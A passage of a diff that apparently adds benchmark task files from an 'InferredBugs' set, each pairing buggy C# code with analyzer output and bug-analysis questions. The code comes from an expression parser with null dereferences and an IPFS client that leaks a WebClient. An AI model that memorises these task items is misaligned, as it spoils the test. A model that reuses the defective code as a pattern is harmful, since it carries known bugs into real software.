+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0596/instruction.md b/inferredbugs-0596/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..12fc7e6d204eca4b940731a8f3ca124824e20d54
--- /dev/null
+++ b/inferredbugs-0596/instruction.md
@@ -0,0 +1,255 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ExpressiveAnnotations
+**Bug ID:** 7
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Linq.Expressions;
+
+namespace ExpressiveAnnotations.Analysis
+{
+    /* EBNF GRAMMAR:
+     * 
+     * expression => or-exp
+     * or-exp     => and-exp [ "||" or-exp ]
+     * and-exp    => not-exp [ "&&" and-exp ]
+     * not-exp    => [ "!" ] rel-exp
+     * rel-exp    => val [ rel-op val ]
+     * rel-op     => "==" | "!=" | ">" | ">=" | "<" | "<="
+     * val        => "null" | int | float | bool | string | prop | "(" or-exp ")"
+     */
+
+    /// <summary>
+    /// Performs syntactic analysis of provided logical expression within given context.
+    /// </summary>
+    public sealed class Parser
+    {
+        private Stack<Token> Tokens { get; set; }
+        private Type ContextType { get; set; }
+        private Expression ContextExpression { get; set; }
+
+        /// <summary>
+        /// Parses the specified logical expression into expression tree within given object context.
+        /// </summary>
+        /// <typeparam name="Context">The type identifier of the context within which the expression is interpreted.</typeparam>
+        /// <param name="expression">The logical expression.</param>
+        /// <returns>A delegate containing the compiled version of the lambda expression described by created expression tree.</returns>
+        public Func<Context, bool> Parse<Context>(string expression)
+        {
+            ContextType = typeof(Context);
+            var param = Expression.Parameter(typeof(Context));
+            ContextExpression = param;
+            InitTokenizer(expression);
+            var expressionTree = ParseExpression();
+            var lambda = Expression.Lambda<Func<Context, bool>>(expressionTree, param);
+            return lambda.Compile();
+        }
+
+        /// <summary>
+        /// Parses the specified logical expression and builds expression tree.
+        /// </summary>
+        /// <param name="context">The type instance of the context within which the expression is interpreted.</param>
+        /// <param name="expression">The logical expression.</param>
+        /// <returns>A delegate containing the compiled version of the lambda expression described by produced expression tree.</returns>
+        public Func<object, bool> Parse(Type context, string expression)
+        {
+            ContextType = context;
+            var param = Expression.Parameter(typeof(object));
+            ContextExpression = Expression.Convert(param, context);
+            InitTokenizer(expression);
+            var expressionTree = ParseExpression();
+            var lambda = Expression.Lambda<Func<object, bool>>(expressionTree, param);
+            return lambda.Compile();
+        }
+
+        private void InitTokenizer(string expression)
+        {
+            var lexer = new Lexer();
+            Tokens = new Stack<Token>(lexer.Analyze(expression).Reverse());
+        }
+
+        private bool PeekToken(out Token token)
+        {
+            token = Tokens.Any() ? Tokens.Peek() : null;
+            return token != null;
+        }
+
+        private void CrushToken()
+        {
+            Tokens.Pop();
+        }
+
+        private Expression ParseExpression()
+        {
+            return ParseOrExp();
+        }
+
+        private Expression ParseOrExp()
+        {
+            var arg1 = ParseAndExp();
+            Token token;
+            if (!PeekToken(out token) || token.Id != TokenId.OR)
+                return arg1;
+            CrushToken();
+            var arg2 = ParseOrExp();
+            return Expression.Or(arg1, arg2);
+        }
+
+        private Expression ParseAndExp()
+        {
+            var arg1 = ParseNotExp();
+            Token token;
+            if (!PeekToken(out token) || token.Id != TokenId.AND)
+                return arg1;
+            CrushToken();
+            var arg2 = ParseAndExp();
+            return Expression.And(arg1, arg2);
+        }
+
+        private Expression ParseNotExp()
+        {
+            Token token;
+            if (!PeekToken(out token) || token.Id != TokenId.NOT)
+                return ParseRelExp();
+            CrushToken();
+            return Expression.Not(ParseRelExp());
+        }
+
+        private Expression ParseRelExp()
+        {
+            var arg1 = ParseVal();
+            Token token;
+            if (!PeekToken(out token) || !new[] { TokenId.LT, TokenId.LE, TokenId.GT, TokenId.GE, TokenId.EQ, TokenId.NEQ }.Contains(token.Id))
+                return arg1;
+            CrushToken();
+            var arg2 = ParseVal();
+
+            Helper.MakeTypesCompatible(arg1, arg2, out arg1, out arg2);
+            switch (token.Id)
+            {
+                case TokenId.LT:
+                    return Expression.LessThan(arg1, arg2);
+                case TokenId.LE:
+                    return Expression.LessThanOrEqual(arg1, arg2);
+                case TokenId.GT:
+                    return Expression.GreaterThan(arg1, arg2);
+                case TokenId.GE:
+                    return Expression.GreaterThanOrEqual(arg1, arg2);
+                case TokenId.EQ:
+                    return Expression.Equal(arg1, arg2);
+                case TokenId.NEQ:
+                    return Expression.NotEqual(arg1, arg2);
+                default:
+                    throw new InvalidOperationException();
+            }
+        }
+
+        private Expression ParseVal()
+        {
+            Token token;
+            if (!PeekToken(out token))
+                throw new InvalidOperationException();
+
+            if (token.Id == TokenId.LEFT_BRACKET)
+            {
+                CrushToken();
+                var arg = ParseOrExp();
+                if (!PeekToken(out token) || token.Id != TokenId.RIGHT_BRACKET)
+                    throw new InvalidOperationException();
+                CrushToken();
+                return arg;
+            }
+
+            CrushToken();
+            switch (token.Id)
+            {
+                case TokenId.NULL:
+                    return Expression.Constant(null);
+                case TokenId.INT:
+                    return Expression.Constant(token.Value, typeof(int));
+                case TokenId.FLOAT:
+                    return Expression.Constant(token.Value, typeof(float));
+                case TokenId.BOOL:
+                    return Expression.Constant(token.Value, typeof(bool));
+                case TokenId.STRING:
+                    return Expression.Constant(token.Value, typeof(string));
+                case TokenId.PROPERTY:
+                    return ExtractProperty(token.Value.ToString());
+                default:
+                    throw new InvalidOperationException();
+            }
+        }
+
+        private Expression ExtractProperty(string name)
+        {
+            var props = name.Split('.');
+            var type = ContextType;
+            var expr = ContextExpression;
+            foreach (var prop in props)
+            {
+                var pi = type.GetProperty(prop);
+                if (pi == null)
+                    throw new ArgumentException(string.Format("Dynamic extraction interrupted. Field {0} not found.", prop), name);
+                expr = Expression.Property(expr, pi);
+                type = pi.PropertyType;
+            }
+            return expr;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`token` could be null (from the call to `Parser.PeekToken(...)` on line 109) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression Parser.ParseNotExp()
+
+### File:
+src/ExpressiveAnnotations/Analysis/Parser.cs
+
+### Key:
+Parser.cs|ParseNotExp|NULLPTR_DEREFERENCE
+
+### Hash:
+c910391f39601484374e83567ae274fc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0597/instruction.md b/inferredbugs-0597/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e97e8a15ad840c14e17fefa595938d435410e77e
--- /dev/null
+++ b/inferredbugs-0597/instruction.md
@@ -0,0 +1,284 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ExpressiveAnnotations
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Linq.Expressions;
+using ExpressiveAnnotations.LogicalExpressionsAnalysis.LexicalAnalysis;
+using ExpressiveAnnotations.Misc;
+
+namespace ExpressiveAnnotations.LogicalExpressionsAnalysis.SyntacticAnalysis
+{
+    /* EBNF GRAMMAR:
+     * 
+     * expression => or-exp
+     * or-exp     => and-exp [ "||" or-exp ]
+     * and-exp    => not-exp [ "&&" and-exp ]
+     * not-exp    => [ "!" ] rel-exp
+     * rel-exp    => val [ rel-op val ]
+     * rel-op     => "==" | "!=" | ">" | ">=" | "<" | "<="
+     * val        => "null" | int | float | bool | string | prop | "(" or-exp ")"
+     */
+
+    internal sealed class Parser
+    {
+        private Stack<TokenOutput> Tokens { get; set; }
+        private Type ModelType { get; set; }
+        private Expression ModelExpression { get; set; }
+
+        public Func<ObjectType, bool> Parse<ObjectType>(string expression)
+        {
+            ModelType = typeof(ObjectType);
+            var param = Expression.Parameter(typeof(ObjectType));
+            ModelExpression = param;
+            InitTokenizer(expression);
+            var expressionTree = ParseExpression();
+            var lambda = Expression.Lambda<Func<ObjectType, bool>>(expressionTree, param);
+            return lambda.Compile();
+        }
+
+        public Func<object, bool> Parse(Type objectType, string expression)
+        {
+            ModelType = objectType;
+            var param = Expression.Parameter(typeof(object));
+            ModelExpression = Expression.Convert(param, objectType);
+            InitTokenizer(expression);
+            var expressionTree = ParseExpression();
+            var lambda = Expression.Lambda<Func<object, bool>>(expressionTree, param);
+            return lambda.Compile();
+        }
+
+        private void InitTokenizer(string expression)
+        {
+            var lexer = new Lexer();
+            Tokens = new Stack<TokenOutput>(lexer.Analyze(expression).Reverse());
+        }
+
+        private TokenOutput PeekToken()
+        {
+            if (Tokens.Any())
+                return Tokens.Peek();
+            return null;
+        }
+
+        private void CrushToken()
+        {
+            Tokens.Pop();
+        }
+
+        private Expression ParseExpression()
+        {
+            return ParseOrExp();
+        }
+
+        private Expression ParseOrExp()
+        {
+            var arg1 = ParseAndExp();
+            if (PeekToken().Token != Token.OR)
+                return arg1;
+            CrushToken();
+            var arg2 = ParseOrExp();
+            return Expression.Or(arg1, arg2);
+        }
+
+        private Expression ParseAndExp()
+        {
+            var arg1 = ParseNotExp();
+            if (PeekToken().Token != Token.AND)
+                return arg1;
+            CrushToken();
+            var arg2 = ParseAndExp();
+            return Expression.And(arg1, arg2);
+        }
+
+        private Expression ParseNotExp()
+        {
+            var isNot = PeekToken().Token == Token.NOT;
+            if (isNot)
+                CrushToken();
+            var arg = ParseRelExp();
+
+            if (isNot)
+                return Expression.Not(arg);
+            return arg;
+        }
+
+        private Expression ParseRelExp()
+        {
+            var arg1 = ParseVal();
+            var token = PeekToken();
+            if (!new[] { Token.LT, Token.LE, Token.GT, Token.GE, Token.EQ, Token.NEQ }.Contains(token.Token))
+                return arg1;
+            CrushToken();
+            var arg2 = ParseVal();
+
+            Helper.MakeTypesCompatible(arg1, arg2, out arg1, out arg2);
+            switch (token.Token)
+            {
+                case Token.LT:
+                    return Expression.LessThan(arg1, arg2);
+                case Token.LE:
+                    return Expression.LessThanOrEqual(arg1, arg2);
+                case Token.GT:
+                    return Expression.GreaterThan(arg1, arg2);
+                case Token.GE:
+                    return Expression.GreaterThanOrEqual(arg1, arg2);
+                case Token.EQ:
+                    return Expression.Equal(arg1, arg2);
+                case Token.NEQ:
+                    return Expression.NotEqual(arg1, arg2);
+                default:
+                    throw new InvalidOperationException();
+            }
+        }
+
+        private Expression ParseVal()
+        {
+            if (PeekToken().Token == Token.LEFT_BRACKET)
+            {
+                CrushToken();
+                var arg = ParseOrExp();
+                if (PeekToken().Token != Token.RIGHT_BRACKET)
+                    throw new InvalidOperationException();
+                CrushToken();
+                return arg;
+            }
+
+            if (PeekToken().Token == Token.NULL)
+            {
+                CrushToken();
+                return Expression.Constant(null);
+            }
+
+            var value = ParseIntLiteral() ?? ParseFloatLiteral() ?? ParseBoolLiteral() ?? ParseStringLiteral() ?? ParseProp();
+            if (value == null)
+                throw new InvalidOperationException();
+            return value;
+        }
+
+        private Expression ParseIntLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.INT)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(int));
+            }
+            return null;
+        }
+
+        private Expression ParseFloatLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.FLOAT)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(float));
+            }
+            return null;
+        }
+
+        private Expression ParseBoolLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.BOOL)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(bool));
+            }
+            return null;
+        }
+
+        private Expression ParseStringLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.INT)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(string));
+            }
+            return null;
+        }
+
+        private Expression ParseProp()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.PROPERTY)
+            {
+                CrushToken();
+                var propName = token.Value.ToString();
+                var props = propName.Split('.');
+                var type = ModelType;
+                var expr = ModelExpression;
+                foreach (var prop in props)
+                {
+                    var pi = type.GetProperty(prop);
+                    if (pi == null)
+                        throw new ArgumentException(string.Format("Dynamic extraction interrupted. Field {0} not found.", prop), propName);
+                    expr = Expression.Property(expr, pi);
+                    type = pi.PropertyType;
+                }
+                return expr;
+            }
+            return null;
+        }
+    }
+}
+
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+``TokenOutput Parser.PeekToken()`` could be null (from the call to `Parser.PeekToken()` on line 75) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression Parser.ParseOrExp()
+
+### File:
+src/ExpressiveAnnotations/Analysis/Parser.cs
+
+### Key:
+Parser.cs|ParseOrExp|NULLPTR_DEREFERENCE
+
+### Hash:
+7730e3ed4c281d72a26920c0276c1d7f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0598/instruction.md b/inferredbugs-0598/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..69bcb155d58976bb0a0b8f11a56b1d3baaa8c272
--- /dev/null
+++ b/inferredbugs-0598/instruction.md
@@ -0,0 +1,284 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ExpressiveAnnotations
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Linq.Expressions;
+using ExpressiveAnnotations.LogicalExpressionsAnalysis.LexicalAnalysis;
+using ExpressiveAnnotations.Misc;
+
+namespace ExpressiveAnnotations.LogicalExpressionsAnalysis.SyntacticAnalysis
+{
+    /* EBNF GRAMMAR:
+     * 
+     * expression => or-exp
+     * or-exp     => and-exp [ "||" or-exp ]
+     * and-exp    => not-exp [ "&&" and-exp ]
+     * not-exp    => [ "!" ] rel-exp
+     * rel-exp    => val [ rel-op val ]
+     * rel-op     => "==" | "!=" | ">" | ">=" | "<" | "<="
+     * val        => "null" | int | float | bool | string | prop | "(" or-exp ")"
+     */
+
+    internal sealed class Parser
+    {
+        private Stack<TokenOutput> Tokens { get; set; }
+        private Type ModelType { get; set; }
+        private Expression ModelExpression { get; set; }
+
+        public Func<ObjectType, bool> Parse<ObjectType>(string expression)
+        {
+            ModelType = typeof(ObjectType);
+            var param = Expression.Parameter(typeof(ObjectType));
+            ModelExpression = param;
+            InitTokenizer(expression);
+            var expressionTree = ParseExpression();
+            var lambda = Expression.Lambda<Func<ObjectType, bool>>(expressionTree, param);
+            return lambda.Compile();
+        }
+
+        public Func<object, bool> Parse(Type objectType, string expression)
+        {
+            ModelType = objectType;
+            var param = Expression.Parameter(typeof(object));
+            ModelExpression = Expression.Convert(param, objectType);
+            InitTokenizer(expression);
+            var expressionTree = ParseExpression();
+            var lambda = Expression.Lambda<Func<object, bool>>(expressionTree, param);
+            return lambda.Compile();
+        }
+
+        private void InitTokenizer(string expression)
+        {
+            var lexer = new Lexer();
+            Tokens = new Stack<TokenOutput>(lexer.Analyze(expression).Reverse());
+        }
+
+        private TokenOutput PeekToken()
+        {
+            if (Tokens.Any())
+                return Tokens.Peek();
+            return null;
+        }
+
+        private void CrushToken()
+        {
+            Tokens.Pop();
+        }
+
+        private Expression ParseExpression()
+        {
+            return ParseOrExp();
+        }
+
+        private Expression ParseOrExp()
+        {
+            var arg1 = ParseAndExp();
+            if (PeekToken().Token != Token.OR)
+                return arg1;
+            CrushToken();
+            var arg2 = ParseOrExp();
+            return Expression.Or(arg1, arg2);
+        }
+
+        private Expression ParseAndExp()
+        {
+            var arg1 = ParseNotExp();
+            if (PeekToken().Token != Token.AND)
+                return arg1;
+            CrushToken();
+            var arg2 = ParseAndExp();
+            return Expression.And(arg1, arg2);
+        }
+
+        private Expression ParseNotExp()
+        {
+            var isNot = PeekToken().Token == Token.NOT;
+            if (isNot)
+                CrushToken();
+            var arg = ParseRelExp();
+
+            if (isNot)
+                return Expression.Not(arg);
+            return arg;
+        }
+
+        private Expression ParseRelExp()
+        {
+            var arg1 = ParseVal();
+            var token = PeekToken();
+            if (!new[] { Token.LT, Token.LE, Token.GT, Token.GE, Token.EQ, Token.NEQ }.Contains(token.Token))
+                return arg1;
+            CrushToken();
+            var arg2 = ParseVal();
+
+            Helper.MakeTypesCompatible(arg1, arg2, out arg1, out arg2);
+            switch (token.Token)
+            {
+                case Token.LT:
+                    return Expression.LessThan(arg1, arg2);
+                case Token.LE:
+                    return Expression.LessThanOrEqual(arg1, arg2);
+                case Token.GT:
+                    return Expression.GreaterThan(arg1, arg2);
+                case Token.GE:
+                    return Expression.GreaterThanOrEqual(arg1, arg2);
+                case Token.EQ:
+                    return Expression.Equal(arg1, arg2);
+                case Token.NEQ:
+                    return Expression.NotEqual(arg1, arg2);
+                default:
+                    throw new InvalidOperationException();
+            }
+        }
+
+        private Expression ParseVal()
+        {
+            if (PeekToken().Token == Token.LEFT_BRACKET)
+            {
+                CrushToken();
+                var arg = ParseOrExp();
+                if (PeekToken().Token != Token.RIGHT_BRACKET)
+                    throw new InvalidOperationException();
+                CrushToken();
+                return arg;
+            }
+
+            if (PeekToken().Token == Token.NULL)
+            {
+                CrushToken();
+                return Expression.Constant(null);
+            }
+
+            var value = ParseIntLiteral() ?? ParseFloatLiteral() ?? ParseBoolLiteral() ?? ParseStringLiteral() ?? ParseProp();
+            if (value == null)
+                throw new InvalidOperationException();
+            return value;
+        }
+
+        private Expression ParseIntLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.INT)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(int));
+            }
+            return null;
+        }
+
+        private Expression ParseFloatLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.FLOAT)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(float));
+            }
+            return null;
+        }
+
+        private Expression ParseBoolLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.BOOL)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(bool));
+            }
+            return null;
+        }
+
+        private Expression ParseStringLiteral()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.INT)
+            {
+                CrushToken();
+                return Expression.Constant(token.Value, typeof(string));
+            }
+            return null;
+        }
+
+        private Expression ParseProp()
+        {
+            var token = PeekToken();
+            if (PeekToken().Token == Token.PROPERTY)
+            {
+                CrushToken();
+                var propName = token.Value.ToString();
+                var props = propName.Split('.');
+                var type = ModelType;
+                var expr = ModelExpression;
+                foreach (var prop in props)
+                {
+                    var pi = type.GetProperty(prop);
+                    if (pi == null)
+                        throw new ArgumentException(string.Format("Dynamic extraction interrupted. Field {0} not found.", prop), propName);
+                    expr = Expression.Property(expr, pi);
+                    type = pi.PropertyType;
+                }
+                return expr;
+            }
+            return null;
+        }
+    }
+}
+
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+``TokenOutput Parser.PeekToken()`` could be null (from the call to `Parser.PeekToken()` on line 145) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression Parser.ParseVal()
+
+### File:
+src/ExpressiveAnnotations/Analysis/Parser.cs
+
+### Key:
+Parser.cs|ParseVal|NULLPTR_DEREFERENCE
+
+### Hash:
+78378aa1f177c9371012ab652e040da9
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0613/instruction.md b/inferredbugs-0613/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c69a99a28239d7f146f17e1ec7c344de9735e015
--- /dev/null
+++ b/inferredbugs-0613/instruction.md
@@ -0,0 +1,144 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** net-ipfs-http-client
+**Bug ID:** 9
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Net;
+using System.Reflection;
+using System.Web;
+using Newtonsoft.Json;
+
+namespace Ipfs.Api
+{
+    /// <summary>
+    ///   A client that allows access to the InterPlanetary File System (IPFS).
+    /// </summary>
+    /// <remarks>
+    ///   The API is based on the <see href="https://ipfs.io/docs/commands/">IPFS commands</see>.
+    /// </remarks>
+    /// <seealso href="https://ipfs.io/docs/api/">IPFS API</seealso>
+    /// <seealso href="https://ipfs.io/docs/commands/">IPFS commands</seealso>
+    public partial class IpfsClient
+    {
+        /// <summary>
+        ///   Creates a new instance of the <see cref="IpfsClient"/> class and sets the
+        ///   default values;
+        /// </summary>
+        public IpfsClient()
+        {
+            ApiAddress = new Uri("http://localhost:5001");
+            var version = Assembly.GetExecutingAssembly().GetName().Version;
+            UserAgent = string.Format("net-ipfs/{0}.{1}", version.Major, version.Minor);
+            TrustedPeers = new TruestedPeerCollection(this);
+        }
+
+        /// <summary>
+        ///   The URL to the IPFS API server.  The default is "http://localhost:5001";
+        /// </summary>
+        public Uri ApiAddress { get; set; }
+
+        /// <summary>
+        ///   The value of HTTP User-Agent header sent to the API server. 
+        /// </summary>
+        /// <value>
+        ///   The default value is "net-ipfs/M.N", where M is the major and N is minor version
+        ///   numbers of the assembly.
+        /// </value>
+        public string UserAgent { get; set; }
+
+        /// <summary>
+        ///   The list of peers that are initially trusted by IPFS.
+        /// </summary>
+        /// <remarks>
+        ///   This is equilivent to <c>ipfs bootstrap list</c>.
+        /// </remarks>
+        public TruestedPeerCollection TrustedPeers { get; private set; }
+
+        Uri BuildCommand(string command, string arg = null)
+        {
+            var url = "/api/v0/" + command;
+            if (arg != null)
+                url += "?arg=" + HttpUtility.UrlEncode(arg);
+            return new Uri(ApiAddress, url);
+        }
+
+        WebClient Api()
+        {
+            var api = new WebClient
+            {
+                Encoding = Encoding.UTF8
+            };
+            api.Headers["User-Agent"] = UserAgent;
+            return api;
+        }
+
+        protected internal string DoCommand(string command, string arg = null)
+        {
+            return Api().DownloadString(BuildCommand(command, arg));
+        }
+
+        protected internal T DoCommand<T>(string command, string arg = null)
+        {
+            var json = Api().DownloadString(BuildCommand(command, arg));
+            return JsonConvert.DeserializeObject<T>(json);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.Net.WebClient Ipfs.Api.IpfsClient::Api() at Line 76) of type System.Net.WebClient in method "String IpfsClient.DoCommand(String,String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+String IpfsClient.DoCommand(String,String)
+
+### File:
+src/IpfsClient.cs
+
+### Key:
+IpfsClient.cs|DoCommand|DOTNET_RESOURCE_LEAK
+
+### Hash:
+362ca155805fa8ae0fe764cc760765d6
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0703/instruction.md b/inferredbugs-0703/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7c9686739021f7b531c1c80b0980876046beef6b
--- /dev/null
+++ b/inferredbugs-0703/instruction.md
@@ -0,0 +1,1157 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** python-language-server
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// Python Tools for Visual Studio
+// Copyright(c) Microsoft Corporation
+// All rights reserved.
+//
+// Licensed under the Apache License, Version 2.0 (the License); you may not use
+// this file except in compliance with the License. You may obtain a copy of the
+// License at http://www.apache.org/licenses/LICENSE-2.0
+//
+// THIS CODE IS PROVIDED ON AN  *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS
+// OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY
+// IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
+// MERCHANTABLITY OR NON-INFRINGEMENT.
+//
+// See the Apache Version 2.0 License for specific language governing
+// permissions and limitations under the License.
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using FluentAssertions;
+using Microsoft.Python.LanguageServer;
+using Microsoft.Python.LanguageServer.Implementation;
+using Microsoft.Python.Tests.Utilities;
+using Microsoft.Python.Tests.Utilities.FluentAssertions;
+using Microsoft.PythonTools.Analysis;
+using Microsoft.PythonTools.Analysis.FluentAssertions;
+using Microsoft.PythonTools.Analysis.Values;
+using Microsoft.PythonTools.Interpreter;
+using Microsoft.PythonTools.Interpreter.Ast;
+using Microsoft.PythonTools.Parsing;
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using TestUtilities;
+using static Microsoft.PythonTools.Analysis.Infrastructure.StringExtensions;
+using Ast = Microsoft.PythonTools.Parsing.Ast;
+
+namespace AnalysisTests {
+    [TestClass]
+    public class AstAnalysisTests {
+        public TestContext TestContext { get; set; }
+
+        [TestInitialize]
+        public void TestInitialize() => TestEnvironmentImpl.TestInitialize($"{TestContext.FullyQualifiedTestClassName}.{TestContext.TestName}");
+
+        private string _analysisLog;
+        private string _moduleCache;
+
+        public AstAnalysisTests() {
+            _moduleCache = null;
+        }
+
+        [TestCleanup]
+        public void Cleanup() {
+            if (TestContext.CurrentTestOutcome != UnitTestOutcome.Passed) {
+                if (_analysisLog != null) {
+                    Console.WriteLine("Analysis log:");
+                    Console.WriteLine(_analysisLog);
+                }
+
+                if (_moduleCache != null) {
+                    Console.WriteLine("Module cache:");
+                    Console.WriteLine(_moduleCache);
+                }
+            }
+
+            TestEnvironmentImpl.TestCleanup();
+        }
+
+        private static AstPythonInterpreterFactory CreateInterpreterFactory(InterpreterConfiguration configuration) {
+            configuration.AssertInstalled();
+            var opts = new InterpreterFactoryCreationOptions {
+                DatabasePath = TestData.GetAstAnalysisCachePath(configuration.Version, true),
+                UseExistingCache = false
+            };
+
+            Trace.TraceInformation("Cache Path: " + opts.DatabasePath);
+
+            return new AstPythonInterpreterFactory(configuration, opts);
+        }
+
+        private static Task<Server> CreateServerAsync(InterpreterConfiguration configuration = null, string searchPath = null)
+            => new Server().InitializeAsync(
+                configuration ?? PythonVersions.LatestAvailable,
+                searchPaths: new [] { searchPath ?? TestData.GetPath(Path.Combine("TestData", "AstAnalysis")) });
+
+        private static AstPythonInterpreterFactory CreateInterpreterFactory() => CreateInterpreterFactory(PythonVersions.LatestAvailable);
+
+        private static readonly Lazy<string> _typeShedPath = new Lazy<string>(FindTypeShedForTest);
+        private static string TypeShedPath => _typeShedPath.Value;
+        private static string FindTypeShedForTest() {
+            var candidate = Path.Combine(PathUtils.GetParent(typeof(AstPythonInterpreterFactory).Assembly.Location), "Typeshed");
+            if (Directory.Exists(candidate) && Directory.Exists(Path.Combine(candidate, "stdlib", "2and3"))) {
+                return candidate;
+            }
+
+            var root = TestData.GetPath();
+
+            for (string previousRoot = null; root != previousRoot; previousRoot = root, root = PathUtils.GetParent(root)) {
+                candidate = Path.Combine(root, "typeshed");
+                if (Directory.Exists(Path.Combine(candidate, "stdlib", "2and3"))) {
+                    return candidate;
+                }
+            }
+
+            return null;
+        }
+
+
+        #region Test cases
+
+        [TestMethod, Priority(0)]
+        public void AstClasses() {
+            var mod = Parse("Classes.py", PythonLanguageVersion.V35);
